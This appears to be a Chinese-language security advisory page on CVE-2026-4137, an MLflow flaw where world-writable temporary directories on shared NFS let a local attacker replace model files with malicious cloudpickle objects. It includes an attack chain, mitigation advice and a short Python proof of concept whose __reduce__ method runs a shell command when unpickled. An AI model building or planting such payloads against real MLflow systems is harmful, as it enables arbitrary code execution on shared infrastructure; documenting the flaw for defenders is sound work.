IPBUF安全漏洞报告
English
CVE-2026-4137 CVSS 7.0 高危

CVE-2026-4137: MLflow 临时目录权限缺失致任意代码执行

披露日期: 2026-05-18

漏洞信息

漏洞编号
CVE-2026-4137
漏洞类型
任意代码执行
CVSS评分
7.0 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
MLflow

相关标签

任意代码执行权限提升MLflow反序列化本地漏洞NFS

漏洞概述

MLflow 在 3.11.0 版本之前存在安全漏洞。由于 `get_or_create_nfs_tmp_dir()` 和 `_create_model_downloading_tmp_dir()` 函数创建了权限过于宽松的临时目录(分别为 0o777 和 0o770),在共享 NFS 挂载环境(如 Databricks)中,本地攻击者可篡改存储于这些目录中的模型工件(如 cloudpickle 序列化对象)。当系统通过 `cloudpickle.load()` 反序列化被篡改的文件时,将导致任意代码执行。此问题是 CVE-2025-10279 的部分修复残留。

技术细节

该漏洞的核心在于 MLflow 处理临时目录时的权限控制不当。具体而言,`mlflow/utils/file_utils.py` 中的 `get_or_create_nfs_tmp_dir()` 函数将目录权限设置为 0o777(所有人可读写执行),而 `_create_model_downloading_tmp_dir()` 设置为 0o770(组可写)。在多用户共享文件系统(如 NFS)环境下,这种权限配置允许非特权用户修改其他用户创建的临时文件。攻击者利用此漏洞的路径通常涉及模型加载流程。当 MLflow 下载模型并将其临时存储在上述目录时,攻击者可以替换或修改其中的 `model.pkl` 或其他序列化文件。由于 MLflow 使用 Python 的 `cloudpickle` 库进行反序列化,而 `cloudpickle` 在加载对象时会执行其中的 Python 代码,攻击者只需在篡改的文件中注入恶意代码(如 `__reduce__` 方法),即可在受害者进程(通常是具有高权限的 Driver 进程)上下文中执行任意命令。

攻击链分析

STEP 1
环境侦察
攻击者确认目标环境使用 MLflow,且启用了共享 NFS 挂载(如 Databricks 环境)。
STEP 2
目录监控
攻击者利用低权限账户监控 MLflow 使用的临时目录(如 /tmp 下相关路径),寻找新创建的模型下载目录。
STEP 3
文件篡改
利用目录的 0o777 或 0o770 权限漏洞,攻击者用包含恶意代码的 cloudpickle 文件替换合法的模型文件。
STEP 4
触发反序列化
当用户或调度任务尝试加载该模型时,MLflow 调用 `cloudpickle.load()`,导致攻击者在受害者进程中执行任意代码。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import cloudpickle import os # Define a malicious payload class class ExploitPayload: # This method defines how the object is reconstructed during unpickling def __reduce__(self): # Execute a shell command when the object is loaded # Example: creating a file as proof of execution return (os.system, ('touch /tmp/pwned_by_cve_2026_4137',)) # Serialize the payload malicious_pickle = cloudpickle.dumps(ExploitPayload()) # In a real attack scenario: # 1. Attacker waits for a victim to download a model to the shared temp dir. # 2. Attacker replaces the legitimate model artifact (e.g., model.pkl) # with this 'malicious_pickle' data, exploiting the 0o777 permissions. # 3. When the victim loads the model via mlflow.pyfunc, the command executes. print(f"Generated malicious payload of length: {len(malicious_pickle)}")

影响范围

MLflow < 3.11.0

防御指南

临时缓解措施
在无法立即升级的情况下,建议通过系统级 umask 限制新文件权限,或使用文件系统 ACL(访问控制列表)严格限制 MLflow 临时目录的写入权限。此外,应禁用非必要用户对共享 NFS 存储的写入权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表